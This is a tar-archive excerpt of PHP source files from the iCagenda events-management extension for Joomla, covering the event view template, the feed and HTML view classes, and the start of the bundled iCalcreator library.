			<span style="color:#FFF"><?php echo JTEXT::_('JERROR_LAYOUT_HOME_PAGE'); ?></span>
		<?php endif; ?>
		</a>
	</div>
	<br />
</div>
<?php
if (version_compare(JVERSION, '3.0', 'lt'))
{
	JHtml::_('stylesheet', 'icagenda-front.j25.css', 'components/com_icagenda/add/css/');
}
com_icagenda/views/list/tmpl/index.html000060400000000054152453734450014225 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/views/list/tmpl/event.php000060400000021447152453734450014073 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.6 2015-06-11
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// Get Application
$app = JFactory::getApplication();

// User Access Levels
$user = JFactory::getUser();
$userLevels = $user->getAuthorisedViewLevels();

// User Groups
$userGroups = $user->groups;

// Set Item Object
$this_item	= (array) $this->data->items;
$item		= array_shift($this_item);

// Event Access Control
$EventID = $app->input->getInt('id');

$eventAccess	= icagendaEvents::eventAccess($EventID);

$evtState		= $eventAccess->evtState;
$evtApproval	= $eventAccess->evtApproval;
$evtAccess		= $eventAccess->evtAccess;
$accessName		= $eventAccess->accessName;

// Redirect to login page if no access to registration form
$uri	= JFactory::getURI();
$return	= base64_encode($uri);
$rlink	= JRoute::_("index.php?option=com_users&view=login&return=$return", false);

// Add Error or Alert Page
if ($evtState == 1
	&& $evtApproval == 1
	&& $this->data->items == NULL)
{
	// Set Return Page
	$return = JURI::getInstance()->toString();

	// redirect after successful registration
	$app->enqueueMessage(JText::_('JGLOBAL_YOU_MUST_LOGIN_FIRST'), 'info');
	$app->redirect($rlink);
}
elseif ($evtApproval == 0
	&& ! in_array($evtAccess, $userLevels)
	&& ! in_array('8', $userGroups))
{
	if ($user->id)
	{
		$app->enqueueMessage(JText::_( 'JERROR_LOGIN_DENIED' ), 'warning');
		$app->redirect($rlink);
	}
	else
	{
		$app->enqueueMessage(JText::_( 'JGLOBAL_YOU_MUST_LOGIN_FIRST' ), 'info');
		$app->redirect($rlink);
	}
}
elseif ( ! $evtState)
{
		JError::raiseError('404', JText::_( 'COM_ICAGENDA_PAGE_NOT_FOUND' ));

		return false;
}
else
{
	$isSef = $app->getCfg('sef');

	// prepare Document
	$document	= JFactory::getDocument();
	$menus		= $app->getMenu();
	$pathway 	= $app->getPathway();
	$title 		= null;

	// Load Variables file
	$icsetvar = 'components/com_icagenda/add/elements/icsetvar.php';

	// Set Joomla Site Title (Page Header Title)
	$menu = $menus->getActive();

	if ($menu)
	{
		$this->params->def('page_heading', $this->params->get('page_title', $item->title));
	}
	else
	{
		$this->params->def('page_heading', JText::_('JGLOBAL_ARTICLES'));
	}

	$title = $item->title;

	if (empty($title))
	{
		$title = $app->getCfg('sitename');
	}
	elseif ($app->getCfg('sitename_pagetitles', 0) == 1)
	{
		$title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title);
	}
	elseif ($app->getCfg('sitename_pagetitles', 0) == 2)
	{
		$title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename'));
	}

	// Open Graph Tags
	$eventTitle		= $item->metaTitle;
	$eventType		= 'article';
	$eventImage		= $item->image;
	$imgLink		= filter_var($eventImage, FILTER_VALIDATE_URL);
	$eventUrl		= JURI::getInstance()->toString();
	$sitename		= $app->getCfg('sitename');
	$og_desc		= $item->metaDesc;

	// Add to the breadcrumb
	$pathway->addItem($item->title);

	if (JRequest::getVar('tmpl') != 'component')
	{
		if ($eventTitle)
		{
			$document->setTitle($title);
			$document->addCustomTag('<meta property="og:title" content="' . $eventTitle . '" />');
		}
		if ($eventType)
		{
			$document->addCustomTag('<meta property="og:type" content="' . $eventType . '" />');
		}
		if ($eventImage)
		{
			if ($imgLink)
			{
				$document->addCustomTag('<meta property="og:image" content="' . $eventImage . '" />');
			}
			else
			{
				$document->addCustomTag('<meta property="og:image" content="' . JURI::base() . $eventImage . '" />');
			}
		}
		if ($eventUrl)
		{
			$document->addCustomTag('<meta property="og:url" content="' . $eventUrl . '" />');
		}
		if ($og_desc)
		{
			$document->setDescription($og_desc);
			$document->addCustomTag('<meta property="og:description" content="' . $og_desc . '" />');
		}
		if ($sitename)
		{
			$document->addCustomTag('<meta property="og:site_name" content="' . $sitename . '" />');
		}
	}

	$stamp = $this->data;

	$iCicons = new iCicons();

	$icu_approve	= JRequest::getVar('manageraction', '');
	$icu_layout		= JRequest::getVar('layout', '');

	if (version_compare(JVERSION, '3.0', 'lt')) {
		$approveIcon = '<span class="iCicon-16 approval"></span>';
	} else {
		$approveIcon = '<button class="btn btn-micro btn-warning btn-xs "><i class="icon-checkmark"></i></button>';
	}

	$approval_msg	= JText::sprintf('COM_ICAGENDA_APPROVE_AN_EVENT_NOTICE', $approveIcon);
	$approval_title	= JText::_( 'COM_ICAGENDA_APPROVE_AN_EVENT_LBL' );
	$approval_type	= 'notice';
	?>

	<div id="icagenda" class="ic-event-view<?php echo $this->pageclass_sfx; ?>">

	<?php // Back Arrow ?>
	<div class="ic-top-buttons">

		<?php
		if (JRequest::getVar('tmpl') != 'component')
		{
			$uri		= JUri::getInstance()->toString();
			$date_value	= JRequest::getVar('date', '');
			$evt_id		= JRequest::getVar('id', 0);
			$event_link	= JRoute::_('index.php?option=com_icagenda&view=list&layout=event&id='.$evt_id);

			$session	= JFactory::getSession();
			$session->set('date_value', $date_value);

			$print_url	= ($isSef == 1) ? $event_link.'?tmpl=component' : $event_link.'&tmpl=component';
			$ical_url	= ($isSef == 1) ? $uri.'?vcal=1' : $uri.'&vcal=1';
			$ical_url	= preg_replace('/\?date=[^\?]*/', '', $ical_url);
			$ical_url	= preg_replace('/&date=[^&]*/', '', $ical_url);

			echo '<div class="ic-back ic-clearfix">';
			echo $item->BackArrow;
			echo '</div>';

			echo '<div class="ic-buttons ic-clearfix">';

			if ($this->iconPrint_global == 2)
			{
				// Print icon
				echo '<div class="ic-icon">';
				echo $iCicons->showIcon('printpreview', $print_url);
				echo '</div>';
			}

			if ($this->iconAddToCal_global == 2)
			{
				// Add to Cal icon
				echo '<div class="ic-icon">';
				echo $iCicons->showIcon('vcal', $uri, $ical_url, $item->gcalendarUrl, $item->wlivecalendarUrl, $item->yahoocalendarUrl);
				echo '</div>';
			}

			// Manager Icons
			echo '<div class="ic-icon">';
			echo $item->ManagerIcons;

			if ($icu_approve != 'approve' && ($evtApproval == 1))
			{
				$app->enqueueMessage($approval_msg, $approval_title, $approval_type);
			}

			echo '</div>';
			echo '</div>';
		}
		else
		{
			echo '<div class="ic-printpopup-btn"><div>';
			echo $iCicons->showIcon('print');
			echo '</div></div>';
		}
		?>
	</div>
	<?php

	// load Theme and css
	if (file_exists( JPATH_SITE . '/components/com_icagenda/themes/packs/' . $this->template . '/' . $this->template . '_event.php' ))
	{
		$tpl_event		= JPATH_SITE . '/components/com_icagenda/themes/packs/' . $this->template . '/' . $this->template . '_event.php';
		$css_component	= '/components/com_icagenda/themes/packs/' . $this->template . '/css/' . $this->template . '_component.css';
		$css_com_rtl	= '/components/com_icagenda/themes/packs/' . $this->template . '/css/' . $this->template . '_component-rtl.css';
	}
	else
	{
		$tpl_event 		= JPATH_SITE . '/components/com_icagenda/themes/packs/default/default_event.php';
		$css_component	= '/components/com_icagenda/themes/packs/default/css/default_component.css';
		$css_com_rtl	= '/components/com_icagenda/themes/packs/default/css/default_component-rtl.css';
	}

	// Add the media specific CSS to the document
	JLoader::register('iCagendaMediaCss', JPATH_ROOT . '/components/com_icagenda/helpers/media_css.class.php');
	iCagendaMediaCss::addMediaCss($this->template, 'component');

	echo "<!-- " . $this->template . " -->";

	require_once $icsetvar;
	require_once $tpl_event;

	?>
	</div>
	<div>&nbsp;</div>
	<?php
}

$this->dispatcher->trigger('onEventAfterDisplay', array('com_icagenda.event', &$item, &$this->params));

// Theme pack component css
$document->addStyleSheet( JURI::base( true ) . $css_component );

// RTL css if site language is RTL
$lang = JFactory::getLanguage();

if ( $lang->isRTL()
	&& file_exists( JPATH_SITE . $css_com_rtl) )
{
	$document->addStyleSheet( JURI::base( true ) . $css_com_rtl );
}

// Google Maps api V3
if ( ! empty($item->lng)
	&& ! empty($item->lat)
	&& $item->lng != '0.0000000000000000'
	&& $item->lat != '0.0000000000000000'
	&& $this->GoogleMaps == 1)
{
	icagendaModelList::loadGMapScripts();
}

$iCAddToCal = array();

$iCAddToCal[] = '	jQuery(document).ready(function(){';
$iCAddToCal[] = '		jQuery(".ic-addtocal").tipTip({maxWidth: "200px", defaultPosition: "bottom", edgeOffset: 1, activation:"hover", keepAlive: true});';
$iCAddToCal[] = '	});';

// Add the script to the document head.
JFactory::getDocument()->addScriptDeclaration(implode("\n", $iCAddToCal));
com_icagenda/views/list/index.html000060400000000054152453734450013251 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/views/list/view.feed.php000060400000004320152453734450013641 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.1 2015-01-14
 * @since       3.3.8
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * HTML View class - iCagenda - RSS Feeds.
 */
class icagendaViewList extends JViewLegacy
{
	function display($cachable = false, $urlparams = false)
	{
		$app		= JFactory::getApplication();
		$document	= JFactory::getDocument();
		$menuItem	= $app->getMenu()->getActive();

    	if (is_object($menuItem))
    	{
			$mcatid = $menuItem->params->get('mcatid', '');
			$filter_category = !is_array($mcatid) ? array($mcatid) : $mcatid;
    	}
    	else
    	{
			$filter_category = '';
    	}

		$items		= $this->get('Records');
//		$Itemid		= $app->input->getInt('Itemid');
		$Itemid		= JRequest::getInt('Itemid');

		foreach ($items as $item)
		{
			if ( !in_array('', $filter_category) && !in_array('0', $filter_category)
				&& in_array($item->catid, $filter_category)
				|| in_array('', $filter_category)
				|| in_array('0', $filter_category)
				)
			{
				// Load individual item creator class.
				$feeditem				= new JFeedItem;
				$feeditem->title		= $item->title . ' (' . $item->category . ')';
				$feeditem->link			= JROUTE::_('index.php?option=com_icagenda&view=list&layout=event&Itemid='. (int) $Itemid .'&id='. (int) $item->id . ':' . $item->alias);
				$feeditem->image		= icagendaThumb::sizeMedium($item->image);
				$feeditem->description	= '<img src="' . $feeditem->image . '" alt="" style="margin: 5px; float: left;">' . $item->desc;
				$feeditem->date			= $item->next;
				$feeditem->category		= $item->category;

				// Loads item information into RSS array
				$document->addItem($feeditem);
			}
		}
	}
}
com_icagenda/views/list/view.html.php000060400000020231152453734450013701 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-08
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.helper');

/**
 * HTML View class - iCagenda.
 */
class icagendaViewList extends JViewLegacy
{
	protected $params;
	protected $data;
	protected $getAllDates;
	protected $form;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise a Error object.
	 */
	public function display($tpl = null)
	{
		$app				= JFactory::getApplication();
		$document			= JFactory::getDocument();
		$this->params		= $app->getParams();
		$params				= $this->params;

		// For Dev.
		$time_loading = $params->get('time_loading', '');

		if ($time_loading)
		{
			$starttime_list = iCLibrary::getMicrotime();
		}

		// loading data
		$this->data			= $this->getModel()->getData();
		$this->getAllDates	= icagendaEventsData::getAllDates();
		$this->form			= $this->getModel()->getForm(); // Registration Form

		$this->state		= $this->get('State');
		//Following variables used more than once
//		$this->sortColumn 	= $this->state->get('list.ordering');
//		$this->sortDirection	= $this->state->get('list.direction');
		$this->searchterms	= $this->state->get('filter.search');

		// Menu Options
		$this->atlist		= $params->get('atlist', 0);
		$this->template		= $params->get('template');
		$this->title		= $params->get('title');
		$this->number		= $params->get('number', 5);
		$this->orderby		= $params->get('orderby', 2);
		$this->time			= $params->get('time', 1);

		// Component Options
		$this->iconPrint_global			= $params->get('iconPrint_global', 0);
		$this->iconAddToCal_global		= $params->get('iconAddToCal_global', 0);
		$this->iconAddToCal_options		= $params->get('iconAddToCal_options', 0);
		$this->copy						= $params->get('copy');
		$this->navposition				= $params->get('navposition', 1);
		$this->arrowtext				= $params->get('arrowtext', 1);
		$this->GoogleMaps				= $params->get('GoogleMaps', 1);
		$this->pagination				= $params->get('pagination', 1);
		$this->day_display_global		= $params->get('day_display_global', 1);
		$this->month_display_global		= $params->get('month_display_global', 1);
		$this->year_display_global		= $params->get('year_display_global', 1);
		$this->time_display_global		= $params->get('time_display_global', 0);
		$this->venue_display_global		= $params->get('venue_display_global', 1);
		$this->city_display_global		= $params->get('city_display_global', 1);
		$this->country_display_global	= $params->get('country_display_global', 1);
		$this->shortdesc_display_global	= $params->get('shortdesc_display_global', '');
		$this->statutReg				= $params->get('statutReg', 0);
		$this->dates_display			= $params->get('datesDisplay', 1);
		$this->reg_captcha				= $params->get('reg_captcha', 0);
		$this->reg_form_validation		= $params->get('reg_form_validation', '');

		$this->cat_description	= ($params->get('displayCatDesc_menu', 'global') == 'global')
								? $params->get('CatDesc_global', '0')
								: $params->get('displayCatDesc_menu', '');

		$cat_options			= ($params->get('displayCatDesc_menu', 'global') == 'global')
								? $params->get('CatDesc_checkbox', '')
								: $params->get('displayCatDesc_checkbox', '');
		$this->cat_options		= is_array($cat_options) ? $cat_options : array();

		$this->pageclass_sfx	= htmlspecialchars($params->get('pageclass_sfx'));

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));
			return false;
		}

		$vcal = $app->input->get('vcal');

		if ($vcal)
		{
			$tpl = 'vcal';
		}

		// Process the content plugins.
		JPluginHelper::importPlugin('content');

		if (version_compare(JVERSION, '3.0', 'ge')) // J3
		{
			$this->dispatcher	= JEventDispatcher::getInstance();
		}
		else // J2.5
		{
			$this->dispatcher	= JDispatcher::getInstance();
		}

		$eventid = $app->input->get('id');

		if ($eventid)
		{
			// Set Item Object
			$this_item	= (array) $this->data->items;
			$item		= array_shift($this_item);

			$this->actions = $this->dispatcher->trigger('onRegistrationActions', array('com_icagenda.actions', &$item, &$this->params));
		}

		$this->_prepareDocument();

		$isVcal = JRequest::getVar('vcal', '');

		if ( ! $isVcal)
		{
			icagendaInfo::commentVersion();
		}

		// Loads jQuery Library
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			// Joomla 2.5
			JHtml::stylesheet( 'com_icagenda/icagenda-front.j25.css', false, true );

			JHtml::_('behavior.mootools');

			// load jQuery, if not loaded before
			$scripts = array_keys($document->_scripts);
			$scriptFound = false;

			for ($i = 0; $i < count($scripts); $i++)
			{
				if (stripos($scripts[$i], 'jquery.min.js') !== false
					|| stripos($scripts[$i], 'jquery.js') !== false)
				{
					$scriptFound = true;
				}
			}

			// jQuery Library Loader
			if (!$scriptFound)
			{
				// load jQuery, if not loaded before
				if (!$app->get('jquery'))
				{
					$app->set('jquery', true);

					// Add jQuery Library
					$document->addScript('https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js');
					JHtml::script('com_icagenda/jquery.noconflict.js', false, true);
				}
			}
		}
		// Joomla 3
		else
		{
			JHtml::_('bootstrap.framework');
			JHtml::_('jquery.framework');
		}

		parent::display($tpl);

		// For Dev.
		if ($time_loading)
		{
			$endtime_list = iCLibrary::getMicrotime();

			echo '<center style="font-size:8px;">Time to create page: ' . round($endtime_list-$starttime_list, 3) . ' seconds</center>';
		}

		icagendaEvents::isListOfEvents();

		$jlayout		= JRequest::getCmd('layout', '');
		$layouts_array	= array('event', 'registration', 'actions');
		$layout			= in_array($jlayout, $layouts_array) ? $jlayout : '';

		// Loading Script tipTip used for iCtips
		JHtml::script('com_icagenda/jquery.tipTip.js', false, true);

		if (!$layout || $layout == 'list')
		{
			// Add RSS Feeds
			$menu = $app->getMenu()->getActive()->id;

			$feed = 'index.php?option=com_icagenda&amp;view=list&amp;Itemid=' . (int) $menu . '&amp;format=feed';
			$rss = array(
				'type'    =>  'application/rss+xml',
				'title'   =>   'RSS 2.0');

			$document->addHeadLink(JRoute::_($feed.'&amp;type=rss'), 'alternate', 'rel', $rss);
		}
	}

	/**
	 * Prepares the document
	 */
	protected function _prepareDocument()
	{
		$app		= JFactory::getApplication();
		$menus		= $app->getMenu();
		$pathway 	= $app->getPathway();
		$title 		= null;

		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', JText::_('JGLOBAL_ARTICLES'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->getCfg('sitename');
		}
		elseif ($app->getCfg('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title);
		}
		elseif ($app->getCfg('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename'));
		}

		$this->document->setTitle($title);

		if ($this->params->get('menu-meta_description', ''))
		{
			$this->document->setDescription($this->params->get('menu-meta_description', ''));
		}

		if ($this->params->get('menu-meta_keywords', ''))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords', ''));
		}

		if ($app->getCfg('MetaTitle') == '1'
			&& $this->params->get('menupage_title', ''))
		{
			$this->document->setMetaData('title', $this->params->get('page_title', ''));
		}
	}
}
com_icagenda/helpers/iCalcreator.class.php000060400001541051152453734450014663 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      integration to iCagenda: Tom-Henning (MaW) / Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.3.0 2014-02-20
 * @since       3.2.9
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/*********************************************************************************/
/**
 * iCalcreator v2.18
 * copyright (c) 2007-2013 Kjell-Inge Gustafsson, kigkonsult, All rights reserved
 * kigkonsult.se/iCalcreator/index.php
 * ical@kigkonsult.se
 *
 * Description:
 * This file is a PHP implementation of rfc2445/rfc5545.
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */
/*********************************************************************************/
/*********************************************************************************/
/*         A little setup                                                        */
/*********************************************************************************/
            /* your local language code */
// define( 'ICAL_LANG', 'sv' );
            // alt. autosetting
/*
$langstr     = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
$pos         = strpos( $langstr, ';' );
if ($pos   !== false) {
  $langstr   = substr( $langstr, 0, $pos );
  $pos       = strpos( $langstr, ',' );
  if ($pos !== false) {
    $pos     = strpos( $langstr, ',' );
    $langstr = substr( $langstr, 0, $pos );
  }
  define( 'ICAL_LANG', $langstr );
}
*/
/*********************************************************************************/
/*         version, do NOT remove!!                                              */
define( 'ICALCREATOR_VERSION', 'iCalcreator 2.18' );
/*********************************************************************************/
/*********************************************************************************/
/**
 * vcalendar class
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.9.6 - 2011-05-14
 */
class vcalendar {
            //  calendar property variables
  var $calscale;
  var $method;
  var $prodid;
  var $version;
  var $xprop;
            //  container for calendar components
  var $components;
            //  component config variables
  var $allowEmpty;
  var $unique_id;
  var $language;
  var $directory;
  var $filename;
  var $url;
  var $delimiter;
  var $nl;
  var $format;
  var $dtzid;
            //  component internal variables
  var $attributeDelimiter;
  var $valueInit;
            //  component xCal declaration container
  var $xcaldecl;
/**
 * constructor for calendar object
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.9.6 - 2011-05-14
 * @param array $config
 * @return void
 */
  function vcalendar ( $config = array()) {
    $this->_makeVersion();
    $this->calscale   = null;
    $this->method     = null;
    $this->_makeUnique_id();
    $this->prodid     = null;
    $this->xprop      = array();
    $this->language   = null;
    $this->directory  = null;
    $this->filename   = null;
    $this->url        = null;
    $this->dtzid      = null;
/**
 *   language = <Text identifying a language, as defined in [RFC 1766]>
 */
    if( defined( 'ICAL_LANG' ) && !isset( $config['language'] ))
                                          $config['language']   = ICAL_LANG;
    if( !isset( $config['allowEmpty'] ))  $config['allowEmpty'] = TRUE;
    if( !isset( $config['nl'] ))          $config['nl']         = "\r\n";
    if( !isset( $config['format'] ))      $config['format']     = 'iCal';
    if( !isset( $config['delimiter'] ))   $config['delimiter']  = DIRECTORY_SEPARATOR;
    $this->setConfig( $config );

    $this->xcaldecl   = array();
    $this->components = array();
  }
/*********************************************************************************/
/**
 * Property Name: CALSCALE
 */
/**
 * creates formatted output for calendar property calscale
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.16 - 2011-10-28
 * @return string
 */
  function createCalscale() {
    if( empty( $this->calscale )) return FALSE;
    switch( $this->format ) {
      case 'xcal':
        return $this->nl.' calscale="'.$this->calscale.'"';
        break;
      default:
        return 'CALSCALE:'.$this->calscale.$this->nl;
        break;
    }
  }
/**
 * set calendar property calscale
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-21
 * @param string $value
 * @return void
 */
  function setCalscale( $value ) {
    if( empty( $value )) return FALSE;
    $this->calscale = $value;
  }
/*********************************************************************************/
/**
 * Property Name: METHOD
 */
/**
 * creates formatted output for calendar property method
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.16 - 2011-10-28
 * @return string
 */
  function createMethod() {
    if( empty( $this->method )) return FALSE;
    switch( $this->format ) {
      case 'xcal':
        return $this->nl.' method="'.$this->method.'"';
        break;
      default:
        return 'METHOD:'.$this->method.$this->nl;
        break;
    }
  }
/**
 * set calendar property method
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-20-23
 * @param string $value
 * @return bool
 */
  function setMethod( $value ) {
    if( empty( $value )) return FALSE;
    $this->method = $value;
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: PRODID
 *
 *  The identifier is RECOMMENDED to be the identical syntax to the
 * [RFC 822] addr-spec. A good method to assure uniqueness is to put the
 * domain name or a domain literal IP address of the host on which.. .
 */
/**
 * creates formatted output for calendar property prodid
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.12.11 - 2012-05-13
 * @return string
 */
  function createProdid() {
    if( !isset( $this->prodid ))
      $this->_makeProdid();
    switch( $this->format ) {
      case 'xcal':
        return $this->nl.' prodid="'.$this->prodid.'"';
        break;
      default:
        $toolbox = new calendarComponent();
        $toolbox->setConfig( $this->getConfig());
        return $toolbox->_createElement( 'PRODID', '', $this->prodid );
        break;
    }
  }
/**
 * make default value for calendar prodid
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.6.8 - 2009-12-30
 * @return void
 */
  function _makeProdid() {
    $this->prodid  = '-//'.$this->unique_id.'//NONSGML kigkonsult.se '.ICALCREATOR_VERSION.'//'.strtoupper( $this->language );
  }
/**
 * Conformance: The property MUST be specified once in an iCalendar object.
 * Description: The vendor of the implementation SHOULD assure that this
 * is a globally unique identifier; using some technique such as an FPI
 * value, as defined in [ISO 9070].
 */
/**
 * make default unique_id for calendar prodid
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 0.3.0 - 2006-08-10
 * @return void
 */
  function _makeUnique_id() {
    $this->unique_id  = ( isset( $_SERVER['SERVER_NAME'] )) ? gethostbyname( $_SERVER['SERVER_NAME'] ) : 'localhost';
  }
/*********************************************************************************/
/**
 * Property Name: VERSION
 *
 * Description: A value of "2.0" corresponds to this memo.
 */
/**
 * creates formatted output for calendar property version

 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.16 - 2011-10-28
 * @return string
 */
  function createVersion() {
    if( empty( $this->version ))
      $this->_makeVersion();
    switch( $this->format ) {
      case 'xcal':
        return $this->nl.' version="'.$this->version.'"';
        break;
      default:
        return 'VERSION:'.$this->version.$this->nl;
        break;
    }
  }
/**
 * set default calendar version
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 0.3.0 - 2006-08-10
 * @return void
 */
  function _makeVersion() {
    $this->version = '2.0';
  }
/**
 * set calendar version
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-23
 * @param string $value
 * @return void
 */
  function setVersion( $value ) {
    if( empty( $value )) return FALSE;
    $this->version = $value;
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: x-prop
 */
/**
 * creates formatted output for calendar property x-prop, iCal format only
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-05-25
 * @return string
 */
  function createXprop() {
    if( empty( $this->xprop ) || !is_array( $this->xprop )) return FALSE;
    $output        = null;
    $toolbox       = new calendarComponent();
    $toolbox->setConfig( $this->getConfig());
    foreach( $this->xprop as $label => $xpropPart ) {
      if( !isset($xpropPart['value']) || ( empty( $xpropPart['value'] ) && !is_numeric( $xpropPart['value'] ))) {
        if( $this->getConfig( 'allowEmpty' ))
          $output .= $toolbox->_createElement( $label );
        continue;
      }
      $attributes  = $toolbox->_createParams( $xpropPart['params'], array( 'LANGUAGE' ));
      if( is_array( $xpropPart['value'] )) {
        foreach( $xpropPart['value'] as $pix => $theXpart )
          $xpropPart['value'][$pix] = iCalUtilityFunctions::_strrep( $theXpart, $this->format, $this->nl );
        $xpropPart['value']  = implode( ',', $xpropPart['value'] );
      }
      else
        $xpropPart['value'] = iCalUtilityFunctions::_strrep( $xpropPart['value'], $this->format, $this->nl );
      $output     .= $toolbox->_createElement( $label, $attributes, $xpropPart['value'] );
      if( is_array( $toolbox->xcaldecl ) && ( 0 < count( $toolbox->xcaldecl ))) {
        foreach( $toolbox->xcaldecl as $localxcaldecl )
          $this->xcaldecl[] = $localxcaldecl;
      }
    }
    return $output;
  }
/**
 * set calendar property x-prop
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $label
 * @param string $value
 * @param array $params optional
 * @return bool
 */
  function setXprop( $label, $value, $params=FALSE ) {
    if( empty( $label ))
      return FALSE;
    if( 'X-' != strtoupper( substr( $label, 0, 2 )))
      return FALSE;
    if( empty( $value ) && !is_numeric( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $xprop           = array( 'value' => $value );
    $xprop['params'] = iCalUtilityFunctions::_setParams( $params );
    if( !is_array( $this->xprop )) $this->xprop = array();
    $this->xprop[strtoupper( $label )] = $xprop;
    return TRUE;
  }
/*********************************************************************************/
/**
 * delete calendar property value
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.8 - 2011-03-15
 * @param mixed $propName, bool FALSE => X-property
 * @param int $propix, optional, if specific property is wanted in case of multiply occurences
 * @return bool, if successfull delete
 */
  function deleteProperty( $propName=FALSE, $propix=FALSE ) {
    $propName = ( $propName ) ? strtoupper( $propName ) : 'X-PROP';
    if( !$propix )
      $propix = ( isset( $this->propdelix[$propName] ) && ( 'X-PROP' != $propName )) ? $this->propdelix[$propName] + 2 : 1;
    $this->propdelix[$propName] = --$propix;
    $return = FALSE;
    switch( $propName ) {
      case 'CALSCALE':
        if( isset( $this->calscale )) {
          $this->calscale = null;
          $return = TRUE;
        }
        break;
      case 'METHOD':
        if( isset( $this->method )) {
          $this->method   = null;
          $return = TRUE;
        }
        break;
      default:
        $reduced = array();
        if( $propName != 'X-PROP' ) {
          if( !isset( $this->xprop[$propName] )) { unset( $this->propdelix[$propName] ); return FALSE; }
          foreach( $this->xprop as $k => $a ) {
            if(( $k != $propName ) && !empty( $a ))
